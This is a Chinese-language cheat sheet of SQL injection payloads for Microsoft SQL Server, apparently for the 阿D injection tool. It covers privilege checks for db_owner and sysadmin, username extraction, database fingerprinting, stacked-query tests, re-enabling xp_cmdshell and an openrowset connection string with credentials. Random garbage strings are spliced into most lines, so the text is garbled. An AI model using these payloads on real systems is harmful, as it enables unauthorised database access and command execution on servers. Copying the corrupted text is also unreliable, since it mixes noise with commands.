阿D常用注入命令收集整理
常用的注入代码^E T.d6@)n_:adA6[8b@Zr
//看看是什么权限的C2l-w&PIZZ)O\
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
//检测是否有读取某数据库的权限:wG0` Pe;{Usg
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --%x2Y3i\d7Tm)x V
*W7`$U;L6g!tb8T
数字类型(q!^7C(F]3x+q]N
and char(124)%2Buser%2Bchar(124)=0
字符类型x'@QH8c9x0N
' and char(124)%2Buser%2Bchar(124)=0 and ''='5_#\Z\Hoi5b+f
;x"j#h*amr,w U(O
搜索类型YB aE*eo/HZ
' and char(124)%2Buser%2Bchar(124)=0 and '%'='f1wAI%v"t#{;Q
爆用户名
and user>0
' and user>0 and ''='
检测是否为SA权限0U8v+{%ti k ^X/L3}
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--'zimw&\.b{:M
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
I @:h4H[bH
检测是不是MSSQL数据库%{KM$x0b;V%DFd
and exists (select * from sysobjects);--
y L4Syea;D vR
检测是否支持多行 Iyd%b,C-d
;declare @d int;-- [_Kw ]/s)Y|D5I,de
恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--w/u9a+ta4s,@
Fu&{)N1j)H(j)m
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
//-----------------------